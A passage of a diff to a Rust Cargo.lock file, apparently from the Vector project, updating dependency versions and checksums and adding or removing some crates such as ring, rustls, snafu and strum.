0.2.9", "log", "md-5", "once_cell", - "parking_lot", "percent-encoding", - "pin-project", "quick-xml 0.30.0", "reqwest", "serde", @@ -5996,7 +5902,7 @@ dependencies = [ "serde_json", "serde_path_to_error", "serde_plain", - "serde_with 3.4.0", + "serde_with 3.6.1", "sha2", "subtle", "thiserror", @@ -6005,9 +5911,9 @@ dependencies = [ [[package]] name = "openssl" -version = "0.10.62" +version = "0.10.63" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8cde4d2d9200ad5909f8dac647e29482e07c3a35de8a13fce7c9c7747ad9f671" +checksum = "15c9d69dd87a29568d4d017cfe8ec518706046a05184e5aea92d0af890b803c8" dependencies = [ "bitflags 2.4.1", "cfg-if", @@ -6024,9 +5930,9 @@ version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -6037,18 +5943,18 @@ checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf" [[package]] name = "openssl-src" -version = "300.2.1+3.2.0" +version = "300.2.2+3.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3fe476c29791a5ca0d1273c697e96085bbabbbea2ef7afd5617e78a4b40332d3" +checksum = "8bbfad0063610ac26ee79f7484739e2b07555a75c42453b89263830b5c8103bc" dependencies = [ "cc", ] [[package]] name = "openssl-sys" -version = "0.9.98" +version = "0.9.99" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1665caf8ab2dc9aef43d1c0023bd904633a6a05cb30b0ad59bec2ae986e57a7" +checksum = "22e1bf214306098e4832460f797824c05d25aacdf896f64a985fb0fd992454ae" dependencies = [ "cc", "libc", @@ -6067,7 +5973,7 @@ dependencies = [ "ordered-float 4.2.0", "prost 0.12.3", "prost-build 0.12.3", - "tonic 0.10.2", + "tonic", "tonic-build 0.10.2", "vector-core", "vector-lookup", @@ -6129,9 +6035,9 @@ dependencies = [ [[package]] name = "outref" -version = "0.1.0" +version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f222829ae9293e33a9f5e9f440c6760a3d450a64affe1846486b140db81c1f4" +checksum = "4030760ffd992bef45b0ae3f10ce1aba99e33464c90d14dd7c039884963ddc7a" [[package]] name = "overload" @@ -6261,7 +6167,7 @@ version = "3.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3163d2912b7c3b52d651a055f2c7eec9ba5cd22d26ef75b8dd3a59980b185923" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "serde", ] @@ -6282,9 +6188,9 @@ checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" [[package]] name = "pest" -version = "2.7.5" +version = "2.7.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae9cee2a55a544be8b89dc6848072af97a20f2422603c10865be2a42b580fff5" +checksum = "219c0dcc30b6a27553f9cc242972b67f75b60eb0db71f0b5462f38b058c41546" dependencies = [ "memchr", "thiserror", @@ -6293,9 +6199,9 @@ dependencies = [ [[package]] name = "pest_derive" -version = "2.7.5" +version = "2.7.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "81d78524685f5ef2a3b3bd1cafbc9fcabb036253d9b1463e726a91cd16e2dfc2" +checksum = "22e1288dbd7786462961e69bfd4df7848c1e37e8b74303dbdab82c3a9cdd2809" dependencies = [ "pest", "pest_generator", @@ -6303,22 +6209,22 @@ dependencies = [ [[package]] name = "pest_generator" -version = "2.7.5" +version = "2.7.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "68bd1206e71118b5356dae5ddc61c8b11e28b09ef6a31acbd15ea48a28e0c227" +checksum = "1381c29a877c6d34b8c176e734f35d7f7f5b3adaefe940cb4d1bb7af94678e2e" dependencies = [ "pest", "pest_meta", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] name = "pest_meta" -version = "2.7.5" +version = "2.7.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7c747191d4ad9e4a4ab9c8798f1e82a39affe7ef9648390b7e5548d18e099de6" +checksum = "d0934d6907f148c22a3acbda520c7eed243ad7487a30f51f6ce52b58b7077a8a" dependencies = [ "once_cell", "pest", @@ -6332,7 +6238,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e1d3afd2628e69da2be385eb6f2fd57c8ac7977ceeff6dc166ff1657b0e386a9" dependencies = [ "fixedbitset", - "indexmap 2.1.0", + "indexmap 2.2.3", ] [[package]] @@ -6384,22 +6290,22 @@ dependencies = [ [[package]] name = "pin-project" -version = "1.1.3" +version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" +checksum = "0302c4a0442c456bd56f841aee5c3bfd17967563f6fadc9ceb9f9c23cf3807e0" dependencies = [ "pin-project-internal", ] [[package]] name = "pin-project-internal" -version = "1.1.3" +version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" +checksum = "266c042b60c9c76b8d53061e52b2e0d1116abc57cefc8c5cd671619a56ac3690" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -6529,7 +6435,7 @@ dependencies = [ "cfg-if", "concurrent-queue", "pin-project-lite", - "rustix 0.38.28", + "rustix 0.38.31", "tracing 0.1.40", "windows-sys 0.48.0", ] @@ -6577,7 +6483,7 @@ version = "0.6.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "49b6c5ef183cd3ab4ba005f1ca64c21e8bd97ce4699cfea9e8d9a2c4958ca520" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "byteorder", "bytes 1.5.0", "fallible-iterator", @@ -6648,16 +6554,6 @@ dependencies = [ ] [[package]] -name = "pretty_assertions" -version = "1.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af7cee1a6c8a5b9208b3cb1061f10c0cb689087b3d8ce85fb9d2dd7a29b6ba66" -dependencies = [ - "diff", - "yansi", -] - -[[package]] name = "prettydiff" version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -6675,7 +6571,7 @@ version = "0.1.25" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6c8646e95016a7a6c4adea95bafa8a16baab64b583356217f2c85db4a39d9a86" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "syn 1.0.109", ] @@ -6685,8 +6581,8 @@ version = "0.2.15" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ae005bd773ab59b4725093fd7df83fd7892f7d8eafb48dbd7de6e024e4215f9d" dependencies = [ - "proc-macro2 1.0.74", - "syn 2.0.46", + "proc-macro2 1.0.78", + "syn 2.0.48", ] [[package]] @@ -6738,7 +6634,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" dependencies = [ "proc-macro-error-attr", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "syn 1.0.109", "version_check", @@ -6750,7 +6646,7 @@ version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "version_check", ] @@ -6778,9 +6674,9 @@ dependencies = [ [[package]] name = "proc-macro2" -version = "1.0.74" +version = "1.0.78" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2de98502f212cfcea8d0bb305bd0f49d7ebdd75b64ba0a68f937d888f4e0d6db" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" dependencies = [ "unicode-ident", ] @@ -6789,13 +6685,13 @@ dependencies = [ name = "prometheus-parser" version = "0.1.0" dependencies = [ - "indexmap 2.1.0", + "indexmap 2.2.3", "nom", - "num_enum 0.7.1", + "num_enum 0.7.2", "prost 0.12.3", "prost-build 0.12.3", "prost-types 0.12.3", - "snafu", + "snafu 0.7.5", "vector-common", ] @@ -6820,6 +6716,17 @@ dependencies = [ ] [[package]] +name = "proptest-derive" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9cf16337405ca084e9c78985114633b6827711d22b9e6ef6c6c0d665eb3f0b6e" +dependencies = [ + "proc-macro2 1.0.78", + "quote 1.0.35", + "syn 1.0.109", +] + +[[package]] name = "prost" version = "0.11.9" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -6878,7 +6785,7 @@ dependencies = [ "prost 0.12.3", "prost-types 0.12.3", "regex", - "syn 2.0.46", + "syn 2.0.48", "tempfile", "which 4.4.2", ] @@ -6891,7 +6798,7 @@ checksum = "e5d2d8d10f3c6ded6da8b05b5fb3b8a5082514344d56c9f871412d29b4e075b4" dependencies = [ "anyhow", "itertools 0.10.5", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "syn 1.0.109", ] @@ -6904,18 +6811,18 @@ checksum = "efb6c9a1dd1def8e2124d17e83a20af56f1570d6c2d2bd9e266ccb768df3840e" dependencies = [ "anyhow", "itertools 0.11.0", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] name = "prost-reflect" -version = "0.12.0" +version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "057237efdb71cf4b3f9396302a3d6599a92fa94063ba537b66130980ea9909f3" +checksum = "9ae9372e3227f3685376a0836e5c248611eafc95a0be900d44bc6cdf225b700f" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "once_cell", "prost 0.12.3", "prost-types 0.12.3", @@ -6942,6 +6849,21 @@ dependencies = [ ] [[package]] +name = "psl" +version = "2.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc74a6e6a56708be1cf5c4c4d1a0dc21d33b2dcaa24e731b7fa9c287ce4f916f" +dependencies = [ + "psl-types", +] + +[[package]] +name = "psl-types" +version = "2.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33cb294fe86a74cbcf50d4445b37da762029549ebeea341421c7c70370f86cac" + +[[package]] name = "ptr_meta" version = "0.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -6956,7 +6878,7 @@ version = "0.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "16b845dbfca988fa33db069c0e230574d15a3088f147a87b64c7589eb662c9ac" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "syn 1.0.109", ] @@ -7080,7 +7002,7 @@ version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b22a693222d716a9587786f37ac3f6b4faedb5b80c23914e7303ff5a1d8016e9" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "syn 1.0.109", ] @@ -7100,7 +7022,7 @@ version = "1.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", ] [[package]] @@ -7184,7 +7106,7 @@ version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" dependencies = [ - "getrandom 0.2.11", + "getrandom 0.2.12", ] [[package]] @@ -7217,19 +7139,20 @@ dependencies = [ [[package]] name = "ratatui" -version = "0.25.0" +version = "0.26.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a5659e52e4ba6e07b2dad9f1158f578ef84a73762625ddb51536019f34d180eb" +checksum = "154b85ef15a5d1719bcaa193c3c81fe645cd120c156874cd660fe49fd21d1373" dependencies = [ "bitflags 2.4.1", "cassowary", + "compact_str", "crossterm", "indoc", - "itertools 0.12.0", + "itertools 0.12.1", "lru", "paste", "stability", - "strum", + "strum 0.26.1", "unicode-segmentation", "unicode-width", ] @@ -7386,20 +7309,20 @@ version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b" dependencies = [ - "getrandom 0.2.11", + "getrandom 0.2.12", "redox_syscall 0.2.16", "thiserror", ] [[package]] name = "regex" -version = "1.10.2" +version = "1.10.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" +checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" dependencies = [ "aho-corasick", "memchr", - "regex-automata 0.4.3", + "regex-automata 0.4.4", "regex-syntax 0.8.2", ] @@ -7414,9 +7337,9 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.4.3" +version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" +checksum = "3b7fa1134405e2ec9353fd416b17f8dacd46c473d7d3fd1cf202706a14eb792a" dependencies = [ "aho-corasick", "memchr", @@ -7464,20 +7387,20 @@ dependencies = [ [[package]] name = "reqwest" -version = "0.11.23" +version = "0.11.24" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "37b1ae8d9ac08420c66222fb9096fc5de435c3c48542bc5336c51892cffafb41" +checksum = "c6920094eb85afde5e4a138be3f2de8bbdf28000f0029e72c45025a56b042251" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "bytes 1.5.0", "encoding_rs", "futures-core", "futures-util", - "h2 0.3.22", + "h2 0.3.24", "http 0.2.9", "http-body", "hyper", - "hyper-rustls 0.24.2", + "hyper-rustls", "hyper-tls", "ipnet", "js-sys", @@ -7487,15 +7410,16 @@ dependencies = [ "once_cell", "percent-encoding", "pin-project-lite", - "rustls 0.21.8", + "rustls", "rustls-pemfile", "serde", "serde_json", "serde_urlencoded", + "sync_wrapper", "system-configuration", "tokio", "tokio-native-tls", - "tokio-rustls 0.24.1", + "tokio-rustls", "tokio-util", "tower-service", "url", @@ -7535,38 +7459,23 @@ dependencies = [ [[package]] name = "ring" -version = "0.16.20" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3053cf52e236a3ed746dfc745aa9cacf1b791d846bdaf412f60a8d7d6e17c8fc" -dependencies = [ - "cc", - "libc", - "once_cell", - "spin 0.5.2", - "untrusted 0.7.1", - "web-sys", - "winapi", -] - -[[package]] -name = "ring" version = "0.17.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fb0205304757e5d899b9c2e448b867ffd03ae7f988002e47cd24954391394d0b" dependencies = [ "cc", - "getrandom 0.2.11", + "getrandom 0.2.12", "libc", "spin 0.9.8", - "untrusted 0.9.0", + "untrusted", "windows-sys 0.48.0", ] [[package]] name = "rkyv" -version = "0.7.43" +version = "0.7.44" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "527a97cdfef66f65998b5f3b637c26f5a5ec09cc52a3f9932313ac645f4190f5" +checksum = "5cba464629b3394fc4dbc6f940ff8f5b4ff5c7aef40f29166fd4ad12acbc99c0" dependencies = [ "bitvec", "bytecheck", @@ -7582,11 +7491,11 @@ dependencies = [ [[package]] name = "rkyv_derive" -version = "0.7.43" +version = "0.7.44" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b5c462a1328c8e67e4d6dbad1eb0355dd43e8ab432c6e227a43657f16ade5033" +checksum = "a7dddfff8de25e6f62b9d64e6e432bf1c6736c57d20323e15ee10435fbda7c65" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "syn 1.0.109", ] @@ -7644,15 +7553,6 @@ dependencies = [ [[package]] name = "roxmltree" -version = "0.14.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "921904a62e410e37e215c40381b7117f830d9d89ba60ab5236170541dd25646b" -dependencies = [ - "xmlparser", -] - -[[package]] -name = "roxmltree" version = "0.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3cd14fd5e3b777a7422cca79358c57a8f6e3a703d9ac187448d0daf220c2407f" @@ -7697,12 +7597,12 @@ checksum = "d428f8247852f894ee1be110b375111b586d4fa431f6c46e64ba5a0dcccbe605" dependencies = [ "cfg-if", "glob", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "regex", "relative-path", "rustc_version 0.4.0", - "syn 2.0.46", + "syn 2.0.48", "unicode-ident", ] @@ -7749,7 +7649,7 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" dependencies = [ - "semver 1.0.20", + "semver 1.0.21", ] [[package]] @@ -7778,9 +7678,9 @@ dependencies = [ [[package]] name = "rustix" -version = "0.38.28" +version = "0.38.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72e572a5e8ca657d7366229cdde4bd14c4eb5499a9573d4d366fe1b599daa316" +checksum = "6ea3e1a662af26cd7a3ba09c0297a31af215563ecf42817c98df621387f4e949" dependencies = [ "bitflags 2.4.1", "errno", @@ -7791,24 +7691,12 @@ dependencies = [ [[package]] name = "rustls" -version = "0.20.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b80e3dec595989ea8510028f30c408a4630db12c9cbb8de34203b89d6577e99" -dependencies = [ - "log", - "ring 0.16.20", - "sct", - "webpki", -] - -[[package]] -name = "rustls" version = "0.21.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "446e14c5cda4f3f30fe71863c34ec70f5ac79d6087097ad0bb433e1be5edf04c" dependencies = [ "log", - "ring 0.17.5", + "ring", "rustls-webpki", "sct", ] @@ -7831,7 +7719,7 @@ version = "1.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2d3987094b1d07b653b7dfdc3f70ce9a1da9c51ac18c1b06b662e4f9a0e9f4b2" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", ] [[package]] @@ -7840,8 +7728,8 @@ version = "0.101.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8b6275d1ee7a1cd780b64aca7726599a1dbc893b1e64144529e55c3c2f745765" dependencies = [ - "ring 0.17.5", - "untrusted 0.9.0", + "ring", + "untrusted", ] [[package]] @@ -7954,8 +7842,8 @@ version = "0.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "da046153aa2352493d6cb7da4b6e5c0c057d8a1d0a9aa8560baffdd945acd414" dependencies = [ - "ring 0.17.5", - "untrusted 0.9.0", + "ring", + "untrusted", ] [[package]] @@ -8022,9 +7910,9 @@ dependencies = [ [[package]] name = "semver" -version = "1.0.20" +version = "1.0.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "836fa6a3e1e547f9a2c4040802ec865b5d85f4014efe00555d7090a3dcaa1090" +checksum = "b97ed7a9823b74f99c7742f5336af7be5ecd3eeafcb1507d1fa93347b1d589b0" dependencies = [ "serde", ] @@ -8037,20 +7925,20 @@ checksum = "388a1df253eca08550bef6c72392cfe7c30914bf41df5269b68cbd6ff8f570a3" [[package]] name = "serde" -version = "1.0.194" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b114498256798c94a0689e1a15fec6005dee8ac1f41de56404b67afc2a4b773" +checksum = "870026e60fa08c69f064aa766c10f10b1d62db9ccd4d0abb206472bee0ce3b32" dependencies = [ "serde_derive", ] [[package]] name = "serde-toml-merge" -version = "0.3.3" +version = "0.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af5ae5f42c16d60b098ae5d4afd75c1d3b6512e6ca5d0b9b916e2ced30df264c" +checksum = "fc6244d74ff29bd838ad4cfc9184e3f5d0011500acc8d3fb96708211d4edfb26" dependencies = [ - "toml 0.8.8", + "toml", ] [[package]] @@ -8076,22 +7964,22 @@ dependencies = [ [[package]] name = "serde_bytes" -version = "0.11.12" +version = "0.11.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ab33ec92f677585af6d88c65593ae2375adde54efdbf16d597f2cbc7a6d368ff" +checksum = "8b8497c313fd43ab992087548117643f6fcd935cbf36f176ffda0aacf9591734" dependencies = [ "serde", ] [[package]] name = "serde_derive" -version = "1.0.194" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3385e45322e8f9931410f01b3031ec534c3947d0e94c18049af4d9f9907d4e0" +checksum = "33c85360c95e7d137454dc81d9a4ed2b8efd8fbe19cee57357b32b9771fccb67" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -8100,18 +7988,18 @@ version = "0.29.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "330f01ce65a3a5fe59a60c82f3c9a024b573b8a6e875bd233fe5f934e71d54e3" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] name = "serde_json" -version = "1.0.109" +version = "1.0.113" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cb0652c533506ad7a2e353cce269330d6afd8bdfb6d75e0ace5b35aacbd7b9e9" +checksum = "69801b70b1c3dac963ecb03a364ba0ceda9cf60c71cfe475e99864759c8b8a79" dependencies = [ - "indexmap 2.1.0", + "indexmap 2.2.3", "itoa", "ryu", "serde", @@ -8162,16 +8050,16 @@ version = "0.1.17" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3081f5ffbb02284dda55132aa26daecedd7372a42417bbbab6f14ab7d6bb9145" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] name = "serde_spanned" -version = "0.6.4" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12022b835073e5b11e90a14f86838ceb1c8fb0325b72416845c487ac0fa95e80" +checksum = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1" dependencies = [ "serde", ] @@ -8200,18 +8088,19 @@ dependencies = [ [[package]] name = "serde_with" -version = "3.4.0" +version = "3.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "64cd236ccc1b7a29e7e2739f27c0b2dd199804abc4290e32f59f3b68d6405c23" +checksum = "15d167997bd841ec232f5b2b8e0e26606df2e7caa4c31b95ea9ca52b200bd270" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "chrono", "hex", "indexmap 1.9.3", - "indexmap 2.1.0", + "indexmap 2.2.3", "serde", + "serde_derive", "serde_json", - "serde_with_macros 3.4.0", + "serde_with_macros 3.6.1", "time", ] @@ -8222,21 +8111,21 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e182d6ec6f05393cc0e5ed1bf81ad6db3a8feedf8ee515ecdd369809bcce8082" dependencies = [ "darling 0.13.4", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "syn 1.0.109", ] [[package]] name = "serde_with_macros" -version = "3.4.0" +version = "3.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "93634eb5f75a2323b16de4748022ac4297f9e76b6dced2be287a099f41b5e788" +checksum = "865f9743393e638991566a8b7a479043c2c8da94a33e0a31f18214c9cae0a64d" dependencies = [ - "darling 0.20.3", - "proc-macro2 1.0.74", + "darling 0.20.5", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -8253,11 +8142,11 @@ dependencies = [ [[package]] name = "serde_yaml" -version = "0.9.29" +version = "0.9.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a15e0ef66bf939a7c890a0bf6d5a733c70202225f9888a89ed5c62298b019129" +checksum = "adf8a49373e98a4c5f0ceb5d05aa7c648d75f63774981ed95b7c7443bbd50c6e" dependencies = [ - "indexmap 2.1.0", + "indexmap 2.2.3", "itoa", "ryu", "serde", @@ -8379,15 +8268,6 @@ dependencies = [ ] [[package]] -name = "simd-abstraction" -version = "0.7.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9cadb29c57caadc51ff8346233b5cec1d240b68ce55cf1afc764818791876987" -dependencies = [ - "outref", -] - -[[package]] name = "simdutf8" version = "0.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8442,9 +8322,9 @@ dependencies = [ [[package]] name = "smallvec" -version = "1.11.2" +version = "1.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" dependencies = [ "serde", ] @@ -8472,7 +8352,7 @@ version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fff23fdd767425c13e6f354b7443b3cc0c23097ae077e2211ef8143fa68ad014" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "log", "openssl", "serde", @@ -8491,7 +8371,16 @@ dependencies = [ "doc-comment", "futures-core", "pin-project", - "snafu-derive", + "snafu-derive 0.7.5", +] + +[[package]] +name = "snafu" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d342c51730e54029130d7dc9fd735d28c4cd360f1368c01981d4f03ff207f096" +dependencies = [ + "snafu-derive 0.8.0", ] [[package]] @@ -8501,12 +8390,24 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "990079665f075b699031e9c08fd3ab99be5029b96f3b78dc0709e8f77e4efebf" dependencies = [ "heck 0.4.1", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "syn 1.0.109", ] [[package]] +name = "snafu-derive" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "080c44971436b1af15d6f61ddd8b543995cf63ab8e677d46b00cc06f4ef267a0" +dependencies = [ + "heck 0.4.1", + "proc-macro2 1.0.78", + "quote 1.0.35", + "syn 2.0.48", +] + +[[package]] name = "snap" version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8574,6 +8475,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" [[package]] +name = "static_assertions_next" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7beae5182595e9a8b683fa98c4317f956c9a2dec3b9716990d20023cc60c766" + +[[package]] name = "stream-cancel" version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8648,7 +8555,7 @@ checksum = "dcb5ae327f9cc13b68763b5749770cb9e048a99bd9dfdfa58d0cf05d5f64afe0" dependencies = [ "heck 0.3.3", "proc-macro-error", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "syn 1.0.109", ] @@ -8659,7 +8566,16 @@ version = "0.25.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "290d54ea6f91c969195bdbcd7442c8c2a2ba87da8bf60a7ee86a235d4bc1e125" dependencies = [ - "strum_macros", + "strum_macros 0.25.3", +] + +[[package]] +name = "strum" +version = "0.26.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "723b93e8addf9aa965ebe2d11da6d7540fa2283fcea14b3371ff055f7ba13f5f" +dependencies = [ + "strum_macros 0.26.1", ] [[package]] @@ -8669,10 +8585,23 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "23dc1fa9ac9c169a78ba62f0b841814b7abae11bdd047b9c58f893439e309ea0" dependencies = [ "heck 0.4.1", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", + "quote 1.0.35", + "rustversion", + "syn 2.0.48", +] + +[[package]] +name = "strum_macros" +version = "0.26.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a3417fc93d76740d974a01654a09777cb500428cc874ca9f45edfe0c4d4cd18" +dependencies = [ + "heck 0.4.1", + "proc-macro2 1.0.78", "quote 1.0.35", "rustversion", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -8708,18 +8637,18 @@ version = "1.0.109" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "unicode-ident", ] [[package]] name = "syn" -version = "2.0.46" +version = "2.0.48" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89456b690ff72fddcecf231caedbe615c59480c93358a93dfae7fc29e3ebbf0e" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "unicode-ident", ] @@ -8731,9 +8660,9 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1329189c02ff984e9736652b1631330da25eaa6bc639089ed4915d25446cbe7b" dependencies = [ "proc-macro-error", - 